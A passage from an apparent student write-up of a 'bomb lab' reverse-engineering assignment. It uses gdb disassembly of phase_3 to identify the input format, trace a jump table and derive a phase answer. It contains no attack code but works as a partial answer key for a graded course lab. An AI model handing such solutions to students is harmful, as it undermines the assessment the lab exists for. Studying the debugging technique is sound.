<span class="w"> </span>16d5:<span class="w"> </span><span class="m">81</span><span class="w"> </span>7c<span class="w"> </span><span class="m">24</span><span class="w"> </span><span class="m">08</span><span class="w"> </span>e7<span class="w"> </span><span class="m">02</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>cmpl<span class="w"> </span><span class="nv">$0</span>x2e7,0x8<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w"> </span>16dc:<span class="w"> </span><span class="m">00</span><span class="w"> </span>
<span class="w"> </span>16dd:<span class="w"> </span>0f<span class="w"> </span><span class="m">84</span><span class="w"> </span>a4<span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>je<span class="w"> </span><span class="m">1787</span><span class="w"> </span><phase_3+0x14f>
<span class="w"> </span>16e3:<span class="w"> </span>e8<span class="w"> </span><span class="m">62</span><span class="w"> </span><span class="m">06</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>call<span class="w"> </span>1d4a<span class="w"> </span><explode_bomb>
<span class="w"> </span>16e8:<span class="w"> </span>b8<span class="w"> </span><span class="m">78</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x78,%eax
<span class="w"> </span>16ed:<span class="w"> </span>e9<span class="w"> </span><span class="m">95</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>jmp<span class="w"> </span><span class="m">1787</span><span class="w"> </span><phase_3+0x14f>
<span class="w"> </span>16f2:<span class="w"> </span>b8<span class="w"> </span><span class="m">64</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x64,%eax
<span class="w"> </span>16f7:<span class="w"> </span><span class="m">81</span><span class="w"> </span>7c<span class="w"> </span><span class="m">24</span><span class="w"> </span><span class="m">08</span><span class="w"> </span><span class="m">80</span><span class="w"> </span><span class="m">02</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>cmpl<span class="w"> </span><span class="nv">$0</span>x280,0x8<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w"> </span>16fe:<span class="w"> </span><span class="m">00</span><span class="w"> </span>
<span class="w"> </span>16ff:<span class="w"> </span>0f<span class="w"> </span><span class="m">84</span><span class="w"> </span><span class="m">82</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>je<span class="w"> </span><span class="m">1787</span><span class="w"> </span><phase_3+0x14f>
<span class="w"> </span><span class="m">1705</span>:<span class="w"> </span>e8<span class="w"> </span><span class="m">40</span><span class="w"> </span><span class="m">06</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>call<span class="w"> </span>1d4a<span class="w"> </span><explode_bomb>
<span class="w"> </span>170a:<span class="w"> </span>b8<span class="w"> </span><span class="m">64</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x64,%eax
<span class="w"> </span>170f:<span class="w"> </span>eb<span class="w"> </span><span class="m">76</span><span class="w"> </span>jmp<span class="w"> </span><span class="m">1787</span><span class="w"> </span><phase_3+0x14f>
<span class="w"> </span><span class="m">1711</span>:<span class="w"> </span>b8<span class="w"> </span>6d<span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x6d,%eax
<span class="w"> </span><span class="m">1716</span>:<span class="w"> </span><span class="m">81</span><span class="w"> </span>7c<span class="w"> </span><span class="m">24</span><span class="w"> </span><span class="m">08</span><span class="w"> </span>ff<span class="w"> </span><span class="m">02</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>cmpl<span class="w"> </span><span class="nv">$0</span>x2ff,0x8<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w"> </span>171d:<span class="w"> </span><span class="m">00</span><span class="w"> </span>
<span class="w"> </span>171e:<span class="w"> </span><span class="m">74</span><span class="w"> </span><span class="m">67</span><span class="w"> </span>je<span class="w"> </span><span class="m">1787</span><span class="w"> </span><phase_3+0x14f>
<span class="w"> </span><span class="m">1720</span>:<span class="w"> </span>e8<span class="w"> </span><span class="m">25</span><span class="w"> </span><span class="m">06</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>call<span class="w"> </span>1d4a<span class="w"> </span><explode_bomb>
<span class="w"> </span><span class="m">1725</span>:<span class="w"> </span>b8<span class="w"> </span>6d<span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x6d,%eax
<span class="w"> </span>172a:<span class="w"> </span>eb<span class="w"> </span>5b<span class="w"> </span>jmp<span class="w"> </span><span class="m">1787</span><span class="w"> </span><phase_3+0x14f>
<span class="w"> </span>172c:<span class="w"> </span>b8<span class="w"> </span><span class="m">71</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x71,%eax
<span class="w"> </span><span class="m">1731</span>:<span class="w"> </span><span class="m">81</span><span class="w"> </span>7c<span class="w"> </span><span class="m">24</span><span class="w"> </span><span class="m">08</span><span class="w"> </span><span class="m">75</span><span class="w"> </span><span class="m">03</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>cmpl<span class="w"> </span><span class="nv">$0</span>x375,0x8<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w"> </span><span class="m">1738</span>:<span class="w"> </span><span class="m">00</span><span class="w"> </span>
<span class="w"> </span><span class="m">1739</span>:<span class="w"> </span><span class="m">74</span><span class="w"> </span>4c<span class="w"> </span>je<span class="w"> </span><span class="m">1787</span><span class="w"> </span><phase_3+0x14f>
<span class="w"> </span>173b:<span class="w"> </span>e8<span class="w"> </span>0a<span class="w"> </span><span class="m">06</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>call<span class="w"> </span>1d4a<span class="w"> </span><explode_bomb>
<span class="w"> </span><span class="m">1740</span>:<span class="w"> </span>b8<span class="w"> </span><span class="m">71</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x71,%eax
<span class="w"> </span><span class="m">1745</span>:<span class="w"> </span>eb<span class="w"> </span><span class="m">40</span><span class="w"> </span>jmp<span class="w"> </span><span class="m">1787</span><span class="w"> </span><phase_3+0x14f>
<span class="w"> </span><span class="m">1747</span>:<span class="w"> </span>b8<span class="w"> </span><span class="m">79</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x79,%eax
<span class="w"> </span>174c:<span class="w"> </span><span class="m">81</span><span class="w"> </span>7c<span class="w"> </span><span class="m">24</span><span class="w"> </span><span class="m">08</span><span class="w"> </span><span class="m">94</span><span class="w"> </span><span class="m">02</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>cmpl<span class="w"> </span><span class="nv">$0</span>x294,0x8<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w"> </span><span class="m">1753</span>:<span class="w"> </span><span class="m">00</span><span class="w"> </span>
<span class="w"> </span><span class="m">1754</span>:<span class="w"> </span><span class="m">74</span><span class="w"> </span><span class="m">31</span><span class="w"> </span>je<span class="w"> </span><span class="m">1787</span><span class="w"> </span><phase_3+0x14f>
<span class="w"> </span><span class="m">1756</span>:<span class="w"> </span>e8<span class="w"> </span>ef<span class="w"> </span><span class="m">05</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>call<span class="w"> </span>1d4a<span class="w"> </span><explode_bomb>
<span class="w"> </span>175b:<span class="w"> </span>b8<span class="w"> </span><span class="m">79</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x79,%eax
<span class="w"> </span><span class="m">1760</span>:<span class="w"> </span>eb<span class="w"> </span><span class="m">25</span><span class="w"> </span>jmp<span class="w"> </span><span class="m">1787</span><span class="w"> </span><phase_3+0x14f>
<span class="w"> </span><span class="m">1762</span>:<span class="w"> </span>b8<span class="w"> </span><span class="m">79</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x79,%eax
<span class="w"> </span><span class="m">1767</span>:<span class="w"> </span><span class="m">81</span><span class="w"> </span>7c<span class="w"> </span><span class="m">24</span><span class="w"> </span><span class="m">08</span><span class="w"> </span><span class="m">88</span><span class="w"> </span><span class="m">02</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>cmpl<span class="w"> </span><span class="nv">$0</span>x288,0x8<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w"> </span>176e:<span class="w"> </span><span class="m">00</span><span class="w"> </span>
<span class="w"> </span>176f:<span class="w"> </span><span class="m">74</span><span class="w"> </span><span class="m">16</span><span class="w"> </span>je<span class="w"> </span><span class="m">1787</span><span class="w"> </span><phase_3+0x14f>
<span class="w"> </span><span class="m">1771</span>:<span class="w"> </span>e8<span class="w"> </span>d4<span class="w"> </span><span class="m">05</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>call<span class="w"> </span>1d4a<span class="w"> </span><explode_bomb>
<span class="w"> </span><span class="m">1776</span>:<span class="w"> </span>b8<span class="w"> </span><span class="m">79</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x79,%eax
<span class="w"> </span>177b:<span class="w"> </span>eb<span class="w"> </span>0a<span class="w"> </span>jmp<span class="w"> </span><span class="m">1787</span><span class="w"> </span><phase_3+0x14f>
<span class="w"> </span>177d:<span class="w"> </span>e8<span class="w"> </span>c8<span class="w"> </span><span class="m">05</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>call<span class="w"> </span>1d4a<span class="w"> </span><explode_bomb>
<span class="w"> </span><span class="m">1782</span>:<span class="w"> </span>b8<span class="w"> </span><span class="m">68</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x68,%eax
<span class="w"> </span><span class="m">1787</span>:<span class="w"> </span><span class="m">38</span><span class="w"> </span><span class="m">44</span><span class="w"> </span><span class="m">24</span><span class="w"> </span><span class="m">07</span><span class="w"> </span>cmp<span class="w"> </span>%al,0x7<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w"> </span>178b:<span class="w"> </span><span class="m">75</span><span class="w"> </span><span class="m">05</span><span class="w"> </span>jne<span class="w"> </span><span class="m">1792</span><span class="w"> </span><phase_3+0x15a>
<span class="w"> </span>178d:<span class="w"> </span><span class="m">48</span><span class="w"> </span><span class="m">83</span><span class="w"> </span>c4<span class="w"> </span><span class="m">18</span><span class="w"> </span>add<span class="w"> </span><span class="nv">$0</span>x18,%rsp
<span class="w"> </span><span class="m">1791</span>:<span class="w"> </span>c3<span class="w"> </span>ret<span class="w"> </span>
<span class="w"> </span><span class="m">1792</span>:<span class="w"> </span>e8<span class="w"> </span>b3<span class="w"> </span><span class="m">05</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span>call<span class="w"> </span>1d4a<span class="w"> </span><explode_bomb>
<span class="w"> </span><span class="m">1797</span>:<span class="w"> </span>eb<span class="w"> </span>f4<span class="w"> </span>jmp<span class="w"> </span>178d<span class="w"> </span><phase_3+0x155>
</code></pre>
</div>
<div class="codehilite">
<pre><span></span><code>...
<span class="w"> </span>165b:<span class="w"> </span>e8<span class="w"> </span><span class="m">80</span><span class="w"> </span><span class="nb">fc</span><span class="w"> </span>ff<span class="w"> </span>ff<span class="w"> </span>call<span class="w"> </span>12e0<span class="w"> </span><__isoc99_sscanf@plt>
...
</code></pre>
</div>
<p>We can see that <code>scanf</code> is being called which means we need to figure out what datatype(s) the program is expecting.</p>
<p>Because I do not want to enter the solutions to phases 1 and 2 again and again, I am goig to pass a file which has these solutions.</p>
<div class="codehilite">
<pre><span></span><code>joxxxn@jupyter-nxxh6xx8:~/lab2-bomblab-navanchauhan/bombbomb$<span class="w"> </span>gdb<span class="w"> </span>-ex<span class="w"> </span><span class="s1">'break phase_3'</span><span class="w"> </span>-ex<span class="w"> </span><span class="s1">'break explode_bomb'</span><span class="w"> </span>-ex<span class="w"> </span><span class="s1">'run'</span><span class="w"> </span>-args<span class="w"> </span>./bomb<span class="w"> </span>sol.txt<span class="w"> </span>
GNU<span class="w"> </span>gdb<span class="w"> </span><span class="o">(</span>Ubuntu<span class="w"> </span><span class="m">12</span>.1-0ubuntu1~22.04<span class="o">)</span><span class="w"> </span><span class="m">12</span>.1
Copyright<span class="w"> </span><span class="o">(</span>C<span class="o">)</span><span class="w"> </span><span class="m">2022</span><span class="w"> </span>Free<span class="w"> </span>Software<span class="w"> </span>Foundation,<span class="w"> </span>Inc.
License<span class="w"> </span>GPLv3+:<span class="w"> </span>GNU<span class="w"> </span>GPL<span class="w"> </span>version<span class="w"> </span><span class="m">3</span><span class="w"> </span>or<span class="w"> </span>later<span class="w"> </span><http://gnu.org/licenses/gpl.html>
This<span class="w"> </span>is<span class="w"> </span>free<span class="w"> </span>software:<span class="w"> </span>you<span class="w"> </span>are<span class="w"> </span>free<span class="w"> </span>to<span class="w"> </span>change<span class="w"> </span>and<span class="w"> </span>redistribute<span class="w"> </span>it.
There<span class="w"> </span>is<span class="w"> </span>NO<span class="w"> </span>WARRANTY,<span class="w"> </span>to<span class="w"> </span>the<span class="w"> </span>extent<span class="w"> </span>permitted<span class="w"> </span>by<span class="w"> </span>law.
Type<span class="w"> </span><span class="s2">"show copying"</span><span class="w"> </span>and<span class="w"> </span><span class="s2">"show warranty"</span><span class="w"> </span><span class="k">for</span><span class="w"> </span>details.
This<span class="w"> </span>GDB<span class="w"> </span>was<span class="w"> </span>configured<span class="w"> </span>as<span class="w"> </span><span class="s2">"x86_64-linux-gnu"</span>.
Type<span class="w"> </span><span class="s2">"show configuration"</span><span class="w"> </span><span class="k">for</span><span class="w"> </span>configuration<span class="w"> </span>details.
For<span class="w"> </span>bug<span class="w"> </span>reporting<span class="w"> </span>instructions,<span class="w"> </span>please<span class="w"> </span>see:
<https://www.gnu.org/software/gdb/bugs/>.
Find<span class="w"> </span>the<span class="w"> </span>GDB<span class="w"> </span>manual<span class="w"> </span>and<span class="w"> </span>other<span class="w"> </span>documentation<span class="w"> </span>resources<span class="w"> </span>online<span class="w"> </span>at:
<span class="w"> </span><http://www.gnu.org/software/gdb/documentation/>.
For<span class="w"> </span>help,<span class="w"> </span><span class="nb">type</span><span class="w"> </span><span class="s2">"help"</span>.
Type<span class="w"> </span><span class="s2">"apropos word"</span><span class="w"> </span>to<span class="w"> </span>search<span class="w"> </span><span class="k">for</span><span class="w"> </span>commands<span class="w"> </span>related<span class="w"> </span>to<span class="w"> </span><span class="s2">"word"</span>...
Reading<span class="w"> </span>symbols<span class="w"> </span>from<span class="w"> </span>./bomb...
Breakpoint<span class="w"> </span><span class="m">1</span><span class="w"> </span>at<span class="w"> </span>0x1638
Breakpoint<span class="w"> </span><span class="m">2</span><span class="w"> </span>at<span class="w"> </span>0x1d4a
Starting<span class="w"> </span>program:<span class="w"> </span>/home/joxxxn/lab2-bomblab-navanchauhan/bombbomb/bomb<span class="w"> </span>sol.txt
<span class="o">[</span>Thread<span class="w"> </span>debugging<span class="w"> </span>using<span class="w"> </span>libthread_db<span class="w"> </span>enabled<span class="o">]</span>
Using<span class="w"> </span>host<span class="w"> </span>libthread_db<span class="w"> </span>library<span class="w"> </span><span class="s2">"/lib/x86_64-linux-gnu/libthread_db.so.1"</span>.
Welcome<span class="w"> </span>to<span class="w"> </span>my<span class="w"> </span>fiendish<span class="w"> </span>little<span class="w"> </span>bomb.<span class="w"> </span>You<span class="w"> </span>have<span class="w"> </span><span class="m">6</span><span class="w"> </span>phases<span class="w"> </span>with
which<span class="w"> </span>to<span class="w"> </span>blow<span class="w"> </span>yourself<span class="w"> </span>up.<span class="w"> </span>Have<span class="w"> </span>a<span class="w"> </span>nice<span class="w"> </span>day!
Phase<span class="w"> </span><span class="m">1</span><span class="w"> </span>defused.<span class="w"> </span>How<span class="w"> </span>about<span class="w"> </span>the<span class="w"> </span>next<span class="w"> </span>one?
That<span class="err">'</span>s<span class="w"> </span>number<span class="w"> </span><span class="m">2</span>.<span class="w"> </span>Keep<span class="w"> </span>going!
random<span class="w"> </span>string
Breakpoint<span class="w"> </span><span class="m">1</span>,<span class="w"> </span>0x0000555555555638<span class="w"> </span><span class="k">in</span><span class="w"> </span>phase_3<span class="w"> </span><span class="o">()</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>disas
Dump<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>code<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="k">function</span><span class="w"> </span>phase_3:
<span class="o">=</span>><span class="w"> </span>0x0000555555555638<span class="w"> </span><+0>:<span class="w"> </span>endbr64<span class="w"> </span>
<span class="w"> </span>0x000055555555563c<span class="w"> </span><+4>:<span class="w"> </span>sub<span class="w"> </span><span class="nv">$0</span>x18,%rsp
<span class="w"> </span>0x0000555555555640<span class="w"> </span><+8>:<span class="w"> </span>lea<span class="w"> </span>0x7<span class="o">(</span>%rsp<span class="o">)</span>,%rcx
<span class="w"> </span>0x0000555555555645<span class="w"> </span><+13>:<span class="w"> </span>lea<span class="w"> </span>0xc<span class="o">(</span>%rsp<span class="o">)</span>,%rdx
<span class="w"> </span>0x000055555555564a<span class="w"> </span><+18>:<span class="w"> </span>lea<span class="w"> </span>0x8<span class="o">(</span>%rsp<span class="o">)</span>,%r8
<span class="w"> </span>0x000055555555564f<span class="w"> </span><+23>:<span class="w"> </span>lea<span class="w"> </span>0x1b60<span class="o">(</span>%rip<span class="o">)</span>,%rsi<span class="w"> </span><span class="c1"># 0x5555555571b6</span>
<span class="w"> </span>0x0000555555555656<span class="w"> </span><+30>:<span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x0,%eax
<span class="w"> </span>0x000055555555565b<span class="w"> </span><+35>:<span class="w"> </span>call<span class="w"> </span>0x5555555552e0<span class="w"> </span><__isoc99_sscanf@plt>
<span class="w"> </span>0x0000555555555660<span class="w"> </span><+40>:<span class="w"> </span>cmp<span class="w"> </span><span class="nv">$0</span>x2,%eax
<span class="w"> </span>0x0000555555555663<span class="w"> </span><+43>:<span class="w"> </span>jle<span class="w"> </span>0x555555555685<span class="w"> </span><phase_3+77>
<span class="w"> </span>0x0000555555555665<span class="w"> </span><+45>:<span class="w"> </span>cmpl<span class="w"> </span><span class="nv">$0</span>x7,0xc<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w"> </span>0x000055555555566a<span class="w"> </span><+50>:<span class="w"> </span>ja<span class="w"> </span>0x55555555577d<span class="w"> </span><phase_3+325>
<span class="w"> </span>0x0000555555555670<span class="w"> </span><+56>:<span class="w"> </span>mov<span class="w"> </span>0xc<span class="o">(</span>%rsp<span class="o">)</span>,%eax
<span class="w"> </span>0x0000555555555674<span class="w"> </span><+60>:<span class="w"> </span>lea<span class="w"> </span>0x1b55<span class="o">(</span>%rip<span class="o">)</span>,%rdx<span class="w"> </span><span class="c1"># 0x5555555571d0</span>
<span class="w"> </span>0x000055555555567b<span class="w"> </span><+67>:<span class="w"> </span>movslq<span class="w"> </span><span class="o">(</span>%rdx,%rax,4<span class="o">)</span>,%rax
<span class="w"> </span>0x000055555555567f<span class="w"> </span><+71>:<span class="w"> </span>add<span class="w"> </span>%rdx,%rax
<span class="w"> </span>0x0000555555555682<span class="w"> </span><+74>:<span class="w"> </span>notrack<span class="w"> </span>jmp<span class="w"> </span>*%rax
<span class="w"> </span>0x0000555555555685<span class="w"> </span><+77>:<span class="w"> </span>call<span class="w"> </span>0x555555555d4a<span class="w"> </span><explode_bomb>
<span class="w"> </span>0x000055555555568a<span class="w"> </span><+82>:<span class="w"> </span>jmp<span class="w"> </span>0x555555555665<span class="w"> </span><phase_3+45>
<span class="w"> </span>0x000055555555568c<span class="w"> </span><+84>:<span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x63,%eax
<span class="w"> </span>0x0000555555555691<span class="w"> </span><+89>:<span class="w"> </span>cmpl<span class="w"> </span><span class="nv">$0</span>x23d,0x8<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w"> </span>0x0000555555555699<span class="w"> </span><+97>:<span class="w"> </span>je<span class="w"> </span>0x555555555787<span class="w"> </span><phase_3+335>
<span class="w"> </span>0x000055555555569f<span class="w"> </span><+103>:<span class="w"> </span>call<span class="w"> </span>0x555555555d4a<span class="w"> </span><explode_bomb>
<span class="w"> </span>0x00005555555556a4<span class="w"> </span><+108>:<span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x63,%eax
<span class="w"> </span>0x00005555555556a9<span class="w"> </span><+113>:<span class="w"> </span>jmp<span class="w"> </span>0x555555555787<span class="w"> </span><phase_3+335>
--Type<span class="w"> </span><RET><span class="w"> </span><span class="k">for</span><span class="w"> </span>more,<span class="w"> </span>q<span class="w"> </span>to<span class="w"> </span>quit,<span class="w"> </span>c<span class="w"> </span>to<span class="w"> </span><span class="k">continue</span><span class="w"> </span>without<span class="w"> </span>paging--
</code></pre>
</div>
<p><code>gdb</code> has thankfully marked the address which is being passed to <code>scanf</code>. We can access the value:</p>
<div class="codehilite">
<pre><span></span><code><span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>x/1s<span class="w"> </span>0x5555555571b6
0x5555555571b6:<span class="w"> </span><span class="s2">"%d %c %d"</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>
</code></pre>
</div>
<p>BINGO! The program expects an integer, character, and another integer. Onwards.</p>
<div class="codehilite">
<pre><span></span><code><span class="w"> </span>0x0000555555555660<span class="w"> </span><+40>:<span class="w"> </span>cmp<span class="w"> </span><span class="nv">$0</span>x2,%eax
<span class="w"> </span>0x0000555555555663<span class="w"> </span><+43>:<span class="w"> </span>jle<span class="w"> </span>0x555555555685<span class="w"> </span><phase_3+77>
...
<span class="w"> </span>0x0000555555555685<span class="w"> </span><+77>:<span class="w"> </span>call<span class="w"> </span>0x555555555d4a<span class="w"> </span><explode_bomb>
</code></pre>
</div>
<p>The program checks whether <code>scanf</code> returns a value <= 2, if it does then it calls the <code>explode_bomb</code> function. </p>
<p><em>Note: <code>scanf</code> returns the number of fields that were successfully converted and assigned</em></p>
<div class="codehilite">
<pre><span></span><code><span class="w"> </span>0x0000555555555665<span class="w"> </span><+45>:<span class="w"> </span>cmpl<span class="w"> </span><span class="nv">$0</span>x7,0xc<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w"> </span>0x000055555555566a<span class="w"> </span><+50>:<span class="w"> </span>ja<span class="w"> </span>0x55555555577d<span class="w"> </span><phase_3+325>
...
<span class="w"> </span>0x000055555555577d<span class="w"> </span><+325>:<span class="w"> </span>call<span class="w"> </span>0x555555555d4a<span class="w"> </span><explode_bomb>
</code></pre>
</div>
<p>Similarly, the program checks and ensures the returned value is not > 7. </p>
<div class="codehilite">
<pre><span></span><code><span class="w"> </span>0x0000555555555670<span class="w"> </span><+56>:<span class="w"> </span>mov<span class="w"> </span>0xc<span class="o">(</span>%rsp<span class="o">)</span>,%eax
<span class="w"> </span>0x0000555555555674<span class="w"> </span><+60>:<span class="w"> </span>lea<span class="w"> </span>0x1b55<span class="o">(</span>%rip<span class="o">)</span>,%rdx<span class="w"> </span><span class="c1"># 0x5555555571d0</span>
<span class="w"> </span>0x000055555555567b<span class="w"> </span><+67>:<span class="w"> </span>movslq<span class="w"> </span><span class="o">(</span>%rdx,%rax,4<span class="o">)</span>,%rax
<span class="w"> </span>0x000055555555567f<span class="w"> </span><+71>:<span class="w"> </span>add<span class="w"> </span>%rdx,%rax
<span class="w"> </span>0x0000555555555682<span class="w"> </span><+74>:<span class="w"> </span>notrack<span class="w"> </span>jmp<span class="w"> </span>*%rax
<span class="w"> </span>0x0000555555555685<span class="w"> </span><+77>:<span class="w"> </span>call<span class="w"> </span>0x555555555d4a<span class="w"> </span><explode_bomb>
</code></pre>
</div>
<ul>
<li><code>0x0000555555555670 <+56>: mov 0xc(%rsp),%eax</code> - Moves value located at <code>0xc</code> (12 in Decimal) bytes above the stack pointer to <code>%eax</code> register. </li>
<li><code>0x0000555555555674 <+60>: lea 0x1b55(%rip),%rdx # 0x5555555571d0</code> - This instruction calculates an effective address by adding <code>0x1b55</code> to the current instruction pointer (<code>%rip</code>). The result is stored in the <code>%rdx</code> register. </li>
<li><code>0x000055555555567b <+67>: movslq (%rdx,%rax,4),%rax</code>
<ul>
<li><code>movslq</code> stands for "move with sign-extension from a 32-bit value to a 64-bit value." (if the 32-bit value is negative, the 64-bit result will have all its upper 32 bits set to 1; otherwise, they'll be set to 0). </li>
<li><code>(%rdx,%rax,4)</code> - First start with the value in the %rdx register, then add to it the value in the %rax register multiplied by 4.</li>
<li><code>%rax</code> - Destination Register</li>
</ul></li>
<li><code>0x000055555555567f <+71>: add %rdx,%rax</code> - Adds base address in <code>%rdx</code> to the offset in <code>%rax</code> </li>
<li><code>0x0000555555555682 <+74>: notrack jmp *%rax</code> - Jumps to the address stored in <code>%rax</code></li>
<li><code>0x0000555555555685 <+77>: call 0x555555555d4a <explode_bomb></code> - If we are unable to jump to the specified instruction, call <code>explode_bomb</code></li>
</ul>
<p>Let us try to run the program again with a valid input for the first number and see what the program is computing for the address.</p>
<p>I used the input: <code>3 c 123</code>.</p>
<p>To check what is the computed address, we can switch to the asm layout by running <code>layout asm</code>, and then going through instructions <code>ni</code> or <code>si</code> until we reach the line <code>movslq (%rdx,%rax,4),%rax</code></p>
<p><code>%rax</code> should hold the value 3.</p>
<pre><code>(gdb) print $rax
$1 = 3
</code></pre>
<p><img src="/assets/bomb-lab/phase-3.png" alt="Screenshot of GDB terminal depicting us checking the value of the instruction to be jumped to" /></p>
<p>We can see that this makes us jump to <code><phase_3+186></code> (Continue to step through the code by using <code>ni</code>)</p>
<div class="codehilite">
<pre><span></span><code><span class="w"> </span>0x00005555555556f2<span class="w"> </span><+186>:<span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x64,%eax
<span class="w"> </span>0x00005555555556f7<span class="w"> </span><+191>:<span class="w"> </span>cmpl<span class="w"> </span><span class="nv">$0</span>x280,0x8<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w"> </span>0x00005555555556ff<span class="w"> </span><+199>:<span class="w"> </span>je<span class="w"> </span>0x555555555787<span class="w"> </span><phase_3+335>
<span class="w"> </span>0x0000555555555705<span class="w"> </span><+205>:<span class="w"> </span>call<span class="w"> </span>0x555555555d4a<span class="w"> </span><explode_bomb>
</code></pre>
</div>
<p>We see that <code>0x64</code> (Decimal 100) is being stored in <code>%eax</code>. Then, the program compares <code>0x280</code> (Decimal 640) with memory address <code>0x8</code> bytes above the stack pointer (<code>%rsp</code>). If the values are equal, then it jumps to <code><phase_3+335></code>, otherwise <code>explode_bomb</code> is called.</p>
<div class="codehilite">
<pre><span></span><code><span class="w"> </span>0x0000555555555787<span class="w"> </span><+335>:<span class="w"> </span>cmp<span class="w"> </span>%al,0x7<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w"> </span>0x000055555555578b<span class="w"> </span><+339>:<span class="w"> </span>jne<span class="w"> </span>0x555555555792<span class="w"> </span><phase_3+346>
<span class="w"> </span>0x000055555555578d<span class="w"> </span><+341>:<span class="w"> </span>add<span class="w"> </span><span class="nv">$0</span>x18,%rsp
<span class="w"> </span>0x0000555555555791<span class="w"> </span><+345>:<span class="w"> </span>ret<span class="w"> </span>
<span class="w"> </span>0x0000555555555792<span class="w"> </span><+346>:<span class="w"> </span>call<span class="w"> </span>0x555555555d4a<span class="w"> </span><explode_bomb>
</code></pre>
</div>
<p>Here, the program is comparing the value of our given character to the value stored in <code>%al</code> (lower 8 bits of <code>EAX</code>), and checks if they are not equal.</p>
<p>Knowing that the character is stored at an offset of 7 bytes to <code>%rsp</code>, we can print and check the value by running:</p>
<div class="codehilite">
<pre><span></span><code><span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>x/1cw<span class="w"> </span><span class="nv">$rsp</span>+7
c
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>print<span class="w"> </span><span class="nv">$al</span>
<span class="nv">$1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="m">100</span>
</code></pre>
</div>
<p>We can simply lookup the <a rel="noopener" target="_blank" href="https://www.cs.cmu.edu/~pattis/15-1XX/common/handouts/ascii.html">ASCII table</a>, and see that 100 in decimal stands for the character <code>d</code>. Let us try this answer:</p>
<div class="codehilite">
<pre><span></span><code>...
That<span class="err">'</span>s<span class="w"> </span>number<span class="w"> </span><span class="m">2</span>.<span class="w"> </span>Keep<span class="w"> </span>going!
